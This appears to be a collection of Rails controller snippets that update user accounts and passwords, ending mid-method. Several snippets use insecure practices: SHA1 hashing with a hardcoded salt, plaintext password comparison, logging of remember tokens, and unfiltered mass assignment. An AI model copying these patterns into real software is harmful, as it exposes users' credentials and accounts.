"def update\r\n @account = Account.find(params[:id])\r\n @family_types = FamilyType.all\r\n @family_type = FamilyType.find(params[:family_type])\r\n @account.family_type = @family_type\r\n\r\n\r\n respond_to do |format|\r\n\r\n # If the current account is an admin user but not the account that is being modified,\r\n # they will not have entered a password and we should just assign the current password values\r\n # to the account.\r\n\r\n if current_account == @account\r\n @account.updating_password = true\r\n end\r\n\r\n logger.debug \"Token 1: #{@account.remember_token}\"\r\n\r\n if @account.update_attributes(params[:account])\r\n logger.debug \"Token 2: #{@account.remember_token}\"\r\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\r\n\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @account.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n authorize @account\n if @account.update(account_params)\n render json: { status: :ok, account: @account }\n else\n render json: {error: @account.errors, status: :unprocessable_entity }\n end\n end",
"def update\n params[:account].delete(:preferred_smtp_password) if params[:account][:preferred_smtp_password].blank?\n respond_to do |format|\n if @account.update_attributes(params[:account])\n format.html { redirect_to dm_core.admin_account_url, notice: \"Account was successfully updated.\" }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if correct_password_check account_update_params[:current_password]\n \n pw_params = params[:user].permit(:current_password, :password, :password_confirmation, :first_name, :last_name)\n # Handle updating password if they added anything.\n if (current_user.valid_password?(pw_params[:password]) || current_user.valid_password?(pw_params[:password_confirmation]))\n # Passwords are the same, do nothing.\n elsif (pw_params[:password] == pw_params[:password_confirmation] && pw_params[:password].length > 6)\n # Password are different.\n current_user.password = pw_params[:password]\n current_user.password_confirmation = pw_params[:password_confirmation]\n current_user.save!\n flash.alert = \"Success: Password has been changed!\"\n end\n\n \n user_params = params[:user].except(:current_password, :password, :password_confirmation).permit(:first_name, :last_name, :email)\n unless current_user.update!( user_params )\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: current_user.errors, status: :unprocessable_entity }\n end\n\n flash.alert = \"Success: Account has been updated!\"\n redirect_to edit_user_registration_path\n end\n end",
"def update_with_password(params, *options); end",
"def update\n @account = Account.find(params[:id]) \n if @account.update_attributes!(params[:account])\n flash[:success] = \"Profile updated\"\n sign_in @account\n redirect_to @account\n else\n render 'edit'\n end\n end",
"def update\n @user = User.find(current_user.id)\n # email_changed = @user.email != params[:user][:email]\n is_facebook_account = !@user.provider.blank?\n\n successfully_updated = if !is_facebook_account\n @user.update_with_password(allowed_params)\n else\n @user.update_without_password(allowed_params)\n end\n\n if successfully_updated\n # Sign in the user bypassing validation in case his password changed\n # sign_in @user, :bypass => true\n redirect_to registration_path\n else\n redirect_to registration_path \n end\n end",
"def update_account\n if params[:account].present?\n if @account.update(avatar: params[:account][:avatar])\n redirect_to gns_core.my_account_backend_accounts_path, flash: {success: 'Avatar was successfully updated.'}\n end\n else\n redirect_to gns_core.my_account_backend_accounts_path, flash: {error: 'Avatar update failed. Please try again'}\n end\n end",
"def update\n puts 'ENTROU NO UPDATE USER'\n return vinculate_user unless params[:vincular].nil?\n\n update_password\n end",
"def update\n @account = current_user.person.blackberry_accounts.find(params[:id])\n\n respond_to do |format|\n if @account.update_attributes(params[:blackberry_account])\n format.html { redirect_to( accounts_path, :notice => 'Account was successfully updated.') }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @account.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @account = User.find(params[:user][:account_id])\n self.resource = resource_class.to_adapter.get!(send(:\"current_#{resource_name}\").to_key)\n prev_unconfirmed_email = resource.unconfirmed_email if resource.respond_to?(:unconfirmed_email)\n\n resource_updated = update_resource(@account, account_update_params)\n yield resource if block_given?\n if resource_updated\n flash.notice = \"Account successfully updated.\"\n redirect_to users_index_path\n else\n clean_up_passwords resource\n set_minimum_password_length\n respond_with resource\n end\n end",
"def update\n response = UserAccount::Update.call(user_account_params)\n if response.success?\n success_response(message: response.status_message, http_status: 202, data: response.data)\n else\n error_response(message: response.status_message, data: response.data)\n end\n end",
"def update\n if (params[:user][:password] == Rails.configuration.ofx[:default_password])\n flash[:alert] = \"That password is not allowed. Please change your password.\"\n redirect_to edit_user_registration_path(resource)\n return\n end\n \n self.resource = resource_class.to_adapter.get!(send(:\"current_#{resource_name}\").to_key)\n prev_unconfirmed_email = resource.unconfirmed_email if resource.respond_to?(:unconfirmed_email)\n\n resource_updated = update_resource(resource, account_update_params)\n yield resource if block_given?\n if resource_updated\n if is_flashing_format?\n flash_key = update_needs_confirmation?(resource, prev_unconfirmed_email) ?\n :update_needs_confirmation : :updated\n set_flash_message :notice, flash_key\n end\n sign_in resource_name, resource, bypass: true\n respond_with resource, location: after_update_path_for(resource)\n else\n clean_up_passwords resource\n respond_with resource\n end\n end",
"def update_password username, password, new_password, account: Conjur.configuration.account\n if Conjur.log\n Conjur.log << \"Updating password for #{username} in account #{account}\\n\"\n end\n url_for(:authn_update_password, account, username, password).put new_password\n end",
"def update\n if @account.present?\n\n if @user.account.update_with_stripe(params)\n redirect_to user_url(@user), notice: 'Account was successfully updated.'\n else\n handle_account_errors(@user, params)\n render :edit\n end\n\n else\n flash[:alert] = \"We could not find the requested credit card account.\"\n redirect_to user_url(@user)\n end\n end",
"def update!\n @authorize = nil\n update_plan! &&\n resp = put(\"/users/#{username}.xml\", {\n :user_key => apikey,\n \"user[first_name]\" => first_name,\n \"user[last_name]\" => last_name\n })\n end",
"def update\n email = AuthenticationHelper::Auth.instance.getEmailFromJWT( request )\n if ( email == nil )\n render json: :nothing, status: :unprocessable_entity\n return\n end\n\n user = User.find_by(email: email)\n if ( user )\n account = Account.find_by(user_id: user[\"id\"], id: params[:id])\n \n if ( account == nil )\n render json: :nothing, status: :unprocessable_entity\n return\n end\n\n if account.update(account_params)\n render json: account, status: :ok\n else\n render json: account.errors, status: :unprocessable_entity\n end\n else\n render json: :nothing, status: :unprocessable_entity\n end\n end",
"def update_users_account_password( user_uid, password )\n engines_api_system.update_users_account_password( user_uid, password )\n end",
"def update_password\n @user.password = @new_e_password\n if GlobalConstant::User.auto_blocked_status == @user.status\n # if we had blocked a user for more than a threshhold failed login attemps we set status to blocked\n # now we should reset it to active\n @user.status = GlobalConstant::User.active_status\n @user.failed_login_attempt_count = 0\n end\n @user.save!\n end",
"def update!(**args)\n @accounts = args[:accounts] if args.key?(:accounts)\n end",
"def update\n\t self.resource = resource_class.to_adapter.get!(send(:\"current_#{resource_name}\").to_key)\n\t prev_unconfirmed_email = resource.unconfirmed_email if resource.respond_to?(:unconfirmed_email)\n\t if resource.encrypted_password.blank?\n\t \tresource.password = params[:user][:password]\n\t \tresource.password_confirmation = params[:user][:password]\n\t \tresource.save\n\t \tsign_in resource_name, resource, bypass: true\n\t end\n\t resource_updated = update_resource(resource, account_update_params)\n\t yield resource if block_given?\n\t if resource_updated\n\t #if is_flashing_format?\n\t # flash_key = update_needs_confirmation?(resource, prev_unconfirmed_email) ?\n\t # :update_needs_confirmation : :updated\n\t # set_flash_message :notice, flash_key\n\t # redirect_to(:back)\n\t #end\n\t sign_in resource_name, resource, bypass: true\n\t else\n\t clean_up_passwords resource\n\t redirect_to(:back)\n\t end\n\tend",
"def update\n self.resource = resource_class.to_adapter.get!(send(:\"current_#{resource_name}\").to_key)\n prev_unconfirmed_email = resource.unconfirmed_email if resource.respond_to?(:unconfirmed_email)\n resource.reset_authentication_token\n \n updated = if needs_password?(resource, params)\n if params[:user][:date_of_birth].present?\n params[:user][:date_of_birth] = frame_date_of_birth_to_date_format(params[:user][:date_of_birth].to_s)\n if params[:user][:date_of_birth] != nil\n resource.update_with_password(account_update_params)\n else\n render json: {errors: [\"Date format not correct.\"]}, status: :unprocessable_entity and return\n end\n else\n resource.update_with_password(account_update_params)\n end\n else\n params[:user].delete(:current_password)\n if params[:user][:date_of_birth].present?\n params[:user][:date_of_birth] = frame_date_of_birth_to_date_format(params[:user][:date_of_birth].to_s)\n if params[:user][:date_of_birth] != nil\n resource.update_without_password(account_update_params)\n else\n render json: {errors: [\"Date format not correct.\"]}, status: :unprocessable_entity and return\n end\n else\n resource.update_without_password(account_update_params)\n end\n end\n\n if updated\n sign_in resource_name, resource, :bypass => true\n render json: {\n auth_token: resource.authentication_token,\n user_role: resource.role,\n registration_complete: resource.registration_complete?\n }, status: :ok\n else\n clean_up_passwords resource\n render json: {errors: resource.errors.full_messages}, status: :unprocessable_entity\n end\n\n end",
"def update\n \n if @account.update(account_params)\n redirect_to @account, notice: \"Account was successfully updated.\" \n else\n render :edit, status: :unprocessable_entity \n end\n \n end",
"def update\n @account.user_updated_id = current_user.id\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to accounts_path, notice: I18n.t('account.controller.update') }\n format.json { render :show, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n session[:tab] = nil\n session[:tab] = params[:user][:tab]\n self.resource = resource_class.to_adapter.get!(send(:\"current_#{resource_name}\").to_key)\n prev_unconfirmed_email = resource.unconfirmed_email if resource.respond_to?(:unconfirmed_email)\n\n resource_updated = update_resource(resource, account_update_params)\n yield resource if block_given?\n if resource_updated\n if is_flashing_format?\n flash_key = update_needs_confirmation?(resource, prev_unconfirmed_email) ?\n :update_needs_confirmation : :updated\n set_flash_message :notice, flash_key\n end\n bypass_sign_in resource, scope: resource_name\n redirect_to :back, notice: 'Password successfully updated'\n else\n clean_up_passwords resource\n set_minimum_password_length\n redirect_to :back, notice: 'Password not successfully updated. Please re-enter your current password and new password.'\n end\n end",
"def update \n @member = Member.find_by(user_name: params[:user_name]) \n check_existence(@member, root_url, \"Member Not Found\", true)\n check_expiration(@member, true)\n if params[:member][:password].empty? \n @member.errors.add(:password, \"can't be empty\") \n render 'admin/account_activations/edit' \n elsif @member.update(member_params) \n log_in @member\n #Clearing the reset digest on a successful password reset\n @member.update_attributes({reset_digest: nil, activated: true})\n flash[:success] = \"Account Activated successfully with new password.\"\n redirect_to @member \n else \n flash.now[:danger] = \"An error occurred activating the account\"\n render 'admin/account_activations/edit'\n end \n end",
"def update\n @user = current_user\n @user_locations = @user.user_locations\n \n old_password = @user.sync_password\n \n new_password = request_password\n \n # @user_locations.each do |ul|\n request = request_github(@user.user_locations.where({ :location_id => 1 }).first.login_name, old_password, new_password)\n # end\n \n unless request.nil?\n # TXT user\n txt_user(@user.cell_phone, request)\n \n # Save new password to user\n @user.update_attributes({ :sync_password => request })\n \n redirect_to root_url, :notice => \"New password TXT'd to your cell phone.\"\n else\n redirect_to root_url, :notice => 'Authentication Failed. Try again.'\n end\n end",
"def update\n # Check for an existing Stripe account\n # unless current_user.stripe_account\n # redirect_to new_stripe_account_path and return\n # end\n #\n # begin\n # # Retrieve the Stripe account\n # @stripe_account = Stripe::Account.retrieve(current_user.stripe_account)\n #\n # @account = StripeAccount.new(account_params)\n #\n #\n # # Reject empty values\n # account_params.each do |key, value|\n # if value.empty?\n # flash.now[:alert] = \"Please complete all fields.\"\n # render 'edit' and return\n # end\n end",
"def update\n self.resource = resource_class.to_adapter.get!(send(:\"current_#{resource_name}\").to_key)\n prev_unconfirmed_email = resource.unconfirmed_email if resource.respond_to?(:unconfirmed_email)\n pass = params[:medico][:password]\n \n if params[:medico][:password].blank?\n resource.passcode = params[:medico][:current_password]\n else\n resource.passcode = params[:medico][:password]\n end\n \n resource_updated = update_resource(resource, account_update_params)\n yield resource if block_given?\n if resource_updated\n if is_flashing_format?\n flash_key = update_needs_confirmation?(resource, prev_unconfirmed_email) ?\n :update_needs_confirmation : :updated\n set_flash_message :notice, flash_key\n end\n bypass_sign_in resource, scope: resource_name\n respond_with resource, location: after_update_path_for(resource)\n else\n clean_up_passwords resource\n set_minimum_password_length\n respond_with resource\n end\n end",
"def update\n @login = Login.find(params[:id])\n\n #Test for save successful and react\n if @login.update(login_params.to_h.deep_reject { |k, v| ['password', 'password_confirmation'].include?(k) && v.blank? })\n flash[:success] = \"Account updated\"\n redirect_to :back\n else\n flash[:alert] = \"Account NOT updated\"\n render 'edit'\n end\n end",
"def update\n\t\t@user = User.find(params[:id])\n \t@user.valid?\n \t@user.errors.messages\n \t\tif @user.update(account_params)\n \t\tredirect_to '/cool'\n \t\telse\n \t\t\tflash[:error] = 'Please enter all content'\n \t\tredirect_to :back\n \t\tend\n\tend",
"def update\n @account = current_account \n respond_to do |format|\n if @account.update_attributes(params[:account])\n flash[:notice] = 'Account was successfully updated.'\n format.html { redirect_to user_account_url }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @account.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n init_form\n\n self.resource = resource_class.to_adapter.get!(send(:\"current_#{resource_name}\").to_key)\n prev_unconfirmed_email = resource.unconfirmed_email if resource.respond_to?(:unconfirmed_email)\n\n if resource.update_with_password(account_update_params)\n if is_navigational_format?\n flash_key = update_needs_confirmation?(resource, prev_unconfirmed_email) ?\n :update_needs_confirmation : :updated\n set_flash_message :notice, flash_key\n end\n sign_in resource_name, resource, :bypass => true\n respond_with resource, :location => after_update_path_for(resource)\n else\n clean_up_passwords resource\n respond_with resource\n end\n end",
"def update\n if @account.update(account_params)\n render :show, status: :ok, location: @account\n else\n render json: @account.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to edit_user_info_path(session[:user_info_no]) }\n format.json { render :show, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n logger.debug '> Users: update'\n Accounts.new.update(params.merge(remember_token: rem_tokgen)) do |tmp_account|\n sign_in tmp_account\n @success = \"#{Accounts.typenum_to_s(params[:myprofile_type])} updated successfully.\"\n @error = 'Oops! Please contact support@megam.io'\n end # if current_password_ok? #removed it for now. does not work otherwise. need to come back.\n @msg = { title: 'Profiles', message: \"#{Accounts.typenum_to_s(params[:myprofile_type])} updated successfully!.\", redirect: '/', disposal_id: 'app-1' }\n respond_to do |format|\n format.js do\n respond_with(@msg, @success, @error, account: current_user, api_key: current_user.api_key, myprofile_type: params[:myprofile_type], layout: !request.xhr?)\n end\n end\n end",
"def update \n @account_params = light_account_params\n if admin_signed_in?\n @account_params = account_params\n end\n respond_to do |format|\n if @account.update(@account_params)\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\n format.json { render :show, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update \n user = User.find_by(username: @current_user.username)\n user.update!(username_edit_params)\n response = { message: Message.account_edited, status: :ok}\n json_response(response)\n end",
"def update\n self.resource = resource_class.to_adapter.get!(send(:\"current_#{resource_name}\").to_key)\n #prev_unconfirmed_email = resource.unconfirmed_email if resource.respond_to?(:unconfirmed_email)\n\n taget_user = registration_params\n\n if resource.provider.blank?\n taget_user[:password] = taget_user[:password]\n taget_user[:password_confirmation] = taget_user[:password_confirmation]\n taget_user[:current_password] = taget_user[:current_password]\n end\n taget_user[:name] = taget_user[:name].strip\n taget_user[:phone] = taget_user[:phone].strip\n taget_user[:birthday] = \"#{params['birthday(1i)']}#{params['birthday(2i)']}#{params['birthday(3i)']}\"\n\n if taget_user[:password] != taget_user[:password_confirmation]\n result = '新密碼與確認新密碼不符'\n elsif !taget_user[:password].blank? && !taget_user[:password_confirmation].blank? && taget_user[:password].length < 6\n result = '密碼長度必須大於6個字元, 前後不能空白'\n elsif taget_user[:name].blank?\n result = '姓名為必填欄位喔!'\n elsif taget_user[:phone].blank?\n result = '電話為必填欄位喔!'\n else\n\n if resource.provider.blank?\n if taget_user[:current_password].blank?\n result = '驗證碼為必填欄位喔!'\n else\n if update_resource(resource, taget_user)\n sign_in resource_name, resource, :bypass => true\n result = '修改成功'\n else\n clean_up_passwords resource\n result = '修改失敗! 請確認輸入資料是否正確!,或資料長度超過限制'\n end\n end\n else\n #if update_resource(resource, taget_user)\n if resource.update_without_password(taget_user)\n #if is_navigational_format?\n # flash_key = update_needs_confirmation?(resource, prev_unconfirmed_email) ?\n # :update_needs_confirmation : :updated\n # #set_flash_message :notice, flash_key\n #end\n sign_in resource_name, resource, :bypass => true\n #respond_with resource, :location => '/booker_manage/index' #after_update_path_for(resource)\n result = '修改成功'\n else\n clean_up_passwords resource\n result = '修改失敗! 請確認輸入資料是否正確!,或資料長度超過限制'\n end\n end\n end\n\n from = params[:from]\n if from.blank?\n #render json:{:edit_account => true, :message => result, :attachmentPartial => render_to_string('devise/registrations/edit', :layout => false, :locals => { :resource => resource,:resource_name => 'user'}) }\n redirect_to '/booker_manage/index#tabs-2', :alert => result\n else\n render json:{:success => true, :data => result, :registration => true }\n end\n end",
"def update\n @user.password = params[:user][:password]\n @user.password_confirmation = params[:user][:password_confirmation]\n if @user.save\n @user.attempts = 0\n @user.save\n flash[:notice] = \"Password succesefully updated\"\n redirect_to account_url\n else\n render :action =>:edit\n end\n end",
"def update_password(newpwd)\n self.password = Utils.sha1(newpwd + 'ad2012spot' + email)\n end",
"def update\n\n if @user.update(username: params[:username], email: params[:email], password: params[:password])\n render json: {status: 'SUCCESS', message: 'Account successfully updated', accessToken: @user.access_token}.to_json\n else\n render json: { errors: ['Update unsuccessful!'], status: 422 }.to_json\n end\n\n end",
"def update\n auth_password = self.class.klass.auth_password\n self.send(\"current_#{self.class.klass_sym}\")&.update_password(password_params[auth_password])\n render json: { meesage: \"update password successful\"}, status: 200\n rescue UserError => e\n render json: { error: e.message }, status: e.status\n end",
"def update_password\n current_password = params[:current_password]\n correct_password = @account.password\n if current_password == correct_password\n @account.password = params[:account_password]\n flash.now[:message] = \"你的密码已成功修改\" if @account.save\n else\n flash.now[:error_msg] = \"你输入的当前密码不正确, 不能修改密码\"\n end\n \n render :action => \"edit\"\n end",
"def update_account(id)\n TwitterAccount.update(id, last_checked: Time.now)\n end",
"def update\n if params[:commit] == \"Update\"\n super\n elsif params[:commit] == \"Cancel my account\"\n if current_user.valid_password?(params[:user][:current_password])\n kill_user(current_user)\n destroy\n else\n # I don't know how rails is doing that nice effect, so I basically have this dirty hack here...\n clean_up_passwords current_user\n params[:commit] = \"Update\"\n update\n end\n end\n end",
"def update\n @account = Account.find(params[:id])\n\n respond_to do |format|\n if @account.update_attributes(params[:account])\n format.html { redirect_to quick_launch_path, notice: 'Account was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n # prevent spoofs\n #TODO this is bullshit code; add filters, :before_update\n if !(request.post? || request.put?) || !user_signed_in? ||\n !(self.current_user.user_id == params[:id].to_i || self.current_user.admin_flag == 1)\n flash[:notice] = 'EPIC FAIL. You\\'re not logged in or you\\'re trying to update someone else\\'s account.'\n redirect_to(:controller => '/members', :action => 'index', :id=>params[:id])\n return\n end\n\n serviceable = MemberServiceable.new(params, session)\n @user = serviceable.update\n\n flash[:message]='Account Updated.'\n redirect_to(:controller => '/members', :action => 'profile', :id=>params[:id])\n\n end",
"def update\n respond_to do |format|\n if @user_account.update(user_account_params)\n format.html { redirect_to @user_account, notice: 'User account was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_account }\n else\n format.html { render :edit }\n format.json { render json: @user_account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_password\n\t\tparameters=params[:body]\n\t\t @my_accounts=@current_user\n\t\t\tif @my_accounts.valid_password?(parameters[:current_password])\n\t\t\t if @my_accounts.updatePassword(parameters)\n\t\t\t\t render :json=>success1\n\t\t\t\telse\n\t\t\t\t render :json=>failure1(:current_password=>[\"Current password is wrong\"])\n\t\t\t end\n\t\t else\n\t\t render :json=>failure1(@my_accounts.errors)\n\t\t end\n\tend",
"def update\n self.resource = resource_class.to_adapter.get!(send(:\"current_#{resource_name}\").to_key)\n prev_unconfirmed_email = resource.unconfirmed_email if resource.respond_to?(:unconfirmed_email)\n\n if resource.update_with_password(account_update_params)\n if is_navigational_format?\n flash_key = update_needs_confirmation?(resource, prev_unconfirmed_email) ?\n :update_needs_confirmation : :updated\n set_flash_message :notice, flash_key\n end\n sign_in resource_name, resource, :bypass => true\n respond_with resource, :location => after_update_path_for(resource)\n else\n clean_up_passwords resource\n respond_with resource\n end\n end",
"def update\n self.resource = resource_class.to_adapter.get!(send(:\"current_#{resource_name}\").to_key)\n prev_unconfirmed_email = resource.unconfirmed_email if resource.respond_to?(:unconfirmed_email)\n\n if resource.update_with_password(account_update_params)\n if is_navigational_format?\n flash_key = update_needs_confirmation?(resource, prev_unconfirmed_email) ?\n :update_needs_confirmation : :updated\n set_flash_message :notice, flash_key\n end\n sign_in resource_name, resource, :bypass => true\n respond_with resource, :location => after_update_path_for(resource)\n else\n clean_up_passwords resource\n respond_with resource\n end\n end",
"def update\n self.resource = resource_class.to_adapter.get!(send(:\"current_#{resource_name}\").to_key)\n prev_unconfirmed_email = resource.unconfirmed_email if resource.respond_to?(:unconfirmed_email)\n\n if resource.update_with_password(account_update_params)\n if is_navigational_format?\n flash_key = update_needs_confirmation?(resource, prev_unconfirmed_email) ?\n :update_needs_confirmation : :updated\n set_flash_message :notice, flash_key\n end\n sign_in resource_name, resource, :bypass => true\n respond_with resource, :location => after_update_path_for(resource)\n else\n clean_up_passwords resource\n respond_with resource\n end\n end",
"def update\n current_account.update(provider_params, without_protection: true)\n respond_with current_account\n end",
"def update\n updated_info = org_params\n #password cannot be blank, so what if the org doesn't want to update the password?\n #we make sure nothing gets updated in the password field then.\n require_password = true\n if updated_info[:password].empty? and updated_info[:password_confirmation].empty? and updated_info[:current_password].empty?\n updated_info.extract!(:password, :password_confirmation, :current_password)\n require_password = false\n end\n\n # Prevent the state field from getting cleared everytime a user goes to the edit page\n if updated_info[:state].empty?\n updated_info.extract!(:state)\n end\n\n #otherwise update the attributes\n if (require_password and @organization.update_with_password(updated_info)) or ((not require_password) and @organization.update_without_password(updated_info)) #handle successful update\n sign_in(@organization, :bypass => true)\n redirect_to org_path()\n flash[:notice] = \"Your account has been updated successfully.\"\n else\n render action: 'edit'\n #redirect_to edit_organization_registration_path\n #flash[:alert] = @organization.errors.full_messages.join(\" and \").html_safe\n end\n end",
"def update\n\n unless (current_user || current_affiliate).stripe_account\n redirect_to new_user_stripe_account_path and return\n end\n\n begin\n # Retrieve the Stripe account\n @stripe_account = Stripe::Account.retrieve((current_user || current_affiliate).stripe_account.acct_id)\n\n @stripe_account = StripeAccount.new(stripe_account_params)\n\n\n # Reject empty values\n stripe_account_params.each do |key, value|\n if value.empty?\n flash.now[:alert] = \"Please complete all fields.\"\n render 'edit' and return\n end\n end\n\n # Iterate through each field needed\n @stripe_account.verification.fields_needed.each do |field|\n\n # Update each needed attribute\n case field\n when 'legal_entity.address.city'\n @stripe_account.legal_entity.address.city = account_params[:address_city]\n when 'legal_entity.address.line1'\n @stripe_account.legal_entity.address.line1 = account_params[:address_line1]\n when 'legal_entity.address.postal_code'\n @stripe_account.legal_entity.address.postal_code = account_params[:address_postal]\n when 'legal_entity.address.state'\n @stripe_account.legal_entity.address.state = account_params[:address_state]\n when 'legal_entity.dob.day'\n @stripe_account.legal_entity.dob.day = account_params[:dob_day]\n when 'legal_entity.dob.month'\n @stripe_account.legal_entity.dob.month = account_params[:dob_month]\n when 'legal_entity.dob.year'\n @stripe_account.legal_entity.dob.year = account_params[:dob_year]\n when 'legal_entity.first_name'\n @stripe_account.legal_entity.first_name = account_params[:first_name]\n when 'legal_entity.last_name'\n @stripe_account.legal_entity.last_name = account_params[:last_name]\n when 'legal_entity.ssn_last_4'\n @stripe_account.legal_entity.ssn_last_4 = account_params[:ssn_last_4]\n when 'legal_entity.type'\n @stripe_account.legal_entity.type = account_params[:type]\n when 'legal_entity.personal_id_number'\n @stripe_account.legal_entity.personal_id_number = account_params[:personal_id_number]\n when 'legal_entity.verification.document'\n @stripe_account.legal_entity.verification.document = account_params[:verification_document]\n when 'legal_entity.business_name'\n @stripe_account.legal_entity.business_name = account_params[:business_name]\n when 'legal_entity.business_tax_id'\n @stripe_account.legal_entity.business_tax_id = account_params[:business_tax_id]\n end\n end\n\n\n respond_to do |format|\n if @stripe_account.update(stripe_account_params)\n format.html { redirect_to @stripe_account, notice: 'Stripe account was successfully updated.' }\n format.json { render :show, status: :ok, location: @stripe_account }\n else\n format.html { render :edit }\n format.json { render json: @stripe_account.errors, status: :unprocessable_entity }\n end\n end\n end\nend",
"def update\n p = broker_account_params\n p.delete :provision_request_id\n p.delete :password\n\n respond_to do |format|\n if @broker_account.update(p)\n flash_message 'success', 'Broker account was successfully updated.'\n\n format.html { redirect_to @broker_account }\n format.json { render :show, status: :ok, location: @broker_account }\n else\n format.html { render :edit }\n format.json { render json: @broker_account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n self.resource = resource_class.to_adapter.get!(send(:\"current_#{resource_name}\").to_key)\n prev_unconfirmed_email = resource.unconfirmed_email if resource.respond_to?(:unconfirmed_email)\n\n # # Different from original\n # if self.resource.current_password_required?(params)\n # resource_updated = update_resource(resource, account_update_params)\n # else\n # resource_updated = self.resource.update_attributes(account_update_params)\n # end\n\n\n resource_updated = update_resource(resource, account_update_params)\n yield resource if block_given?\n if resource_updated\n if is_flashing_format?\n flash_key = update_needs_confirmation?(resource, prev_unconfirmed_email) ?\n :update_needs_confirmation : :updated\n set_flash_message :notice, flash_key\n end\n sign_in resource_name, resource, bypass: true\n respond_with resource, location: after_update_path_for(resource)\n else\n clean_up_passwords resource\n flash[:alert] = \"Please review the problems below.\" # Different from original\n respond_with resource\n end\n end",
"def update\n @user.update! user_params\n logger.info \"Account updation succeed! #{@user.id}.\"\n render :show, status: :ok\n end",
"def update\n # require password to change account information\n if @currentUser && @currentUser.authenticate(user_params[:password])\n\n updatedParams = user_params\n\n updatedParams[:password] = updatedParams[:new_password]\n updatedParams.delete(:new_password)\n\n if @currentUser.update_attributes(updatedParams)\n head :no_content\n else\n render json: { errors: @currentUser.errors.messages }, status: 422\n end\n else\n render json: { errors: @currentUser.errors.messages }, status: 401\n end\n end",
"def update\n @account = current_user.accounts.find(params[:id])\n\n respond_to do |format|\n if @account.update_attributes(params[:account])\n flash[:notice] = 'Account was successfully updated.'\n format.html { redirect_to([current_user, @account]) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @account.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n response = @account_api.update(params)\n\n respond_to do |format|\n if response[:status] == 200\n format.html { redirect_to accounts_path , notice: 'Account successfully updated.' }\n format.json { render :show, status: :created, location: user_path(response[:body]) }\n else\n format.html { redirect_to edit_account_path(params[:id]), alert: formatted_error_message(response).join(\"<br/>\").html_safe }\n format.json { render json: response[:body], status: :unprocessable_entity }\n end\n end\n end",
"def update\n super do |resource|\n # TODO (rspeicher): In Devise master (> 3.4.1), we can set\n # `Devise.sign_in_after_reset_password = false` and avoid this mess.\n if resource.errors.empty? && resource.try(:otp_required_for_login?)\n resource.unlock_access! if unlockable?(resource)\n\n # Since we are not signing this user in, we use the :updated_not_active\n # message which only contains \"Your password was changed successfully.\"\n set_flash_message(:notice, :updated_not_active) if is_flashing_format?\n\n # Redirect to sign in so they can enter 2FA code\n respond_with(resource, location: new_session_path(resource)) and return\n end\n end\n end",
"def account_update_params\n params.require(:user).permit(:email, :password, :password_confirmation, :current_password)\n end",
"def update\n @om_account = OmAccount.find(params[:id])\n if current_user_or_can?(:manage_users,@om_account)\n @om_account.currencies_cache = nil if params[:clear_currencies_cache]\n @om_account.attributes = params[:om_account]\n respond_to do |format|\n return_url = session[:edit_account_return_to] || om_accounts_url\n if @om_account.save\n flash[:notice] = 'account was successfully updated.'\n format.html { redirect_to(return_url) }\n format.xml { head :ok }\n session[:edit_account_return_to] = nil\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @om_account.errors, :status => :unprocessable_entity }\n end\n end\n end\n end",
"def update\n @account = current_user.account.find(params[:id])\n\n respond_to do |format|\n if @account.update_attributes(params[:account])\n flash[:notice] = 'Account was successfully updated.'\n format.html { redirect_to(@account) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @account.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n self.resource = resource_class.to_adapter.get!(send(:\"current_#{resource_name}\").to_key)\n prev_unconfirmed_email = resource.unconfirmed_email if resource.respond_to?(:unconfirmed_email)\n \n if account_update_params[:username]\n if /\\Auser[0-9]+\\z/.match(account_update_params[:username].downcase)\n unless account_update_params[:username].downcase == 'user' + resource.id.to_s\n flash[:error] = \n \"Sorry, edited username can't be 'user' followed by a number unless it's your user id number (\" +\n resource.id.to_s + \").\"\n redirect_back(fallback_location: user_path(resource.username)) and return\n end\n elsif account_update_params[:username].first(1) == '_' || account_update_params[:username].last(1) == '_'\n flash[:error] = \"Sorry, username can't start or end with underscore _\"\n redirect_back(fallback_location: user_path(resource.username)) and return\n elsif account_update_params[:username].include? '__'\n flash[:error] = \"Sorry, username can't include a double underscore __\"\n redirect_back(fallback_location: user_path(resource.username)) and return\n end\n # Move avatar file to new AWS filename if username changing:\n unless account_update_params[:username] == resource.username\n old_username = resource.username\n if resource.avatar.present?\n unless account_update_params[:avatar].present?\n unless account_update_params[:avatar_cache].present?\n params[:user][:remote_avatar_url] = resource.avatar_url.partition('?').first\n end\n end\n end\n end\n end\n \n resource_updated = update_resource(resource, account_update_params)\n if resource_updated\n if is_flashing_format?\n flash_key = update_needs_confirmation?(resource, prev_unconfirmed_email) ?\n :update_needs_confirmation : :updated\n set_flash_message :notice, flash_key\n end\n bypass_sign_in resource, scope: resource_name\n 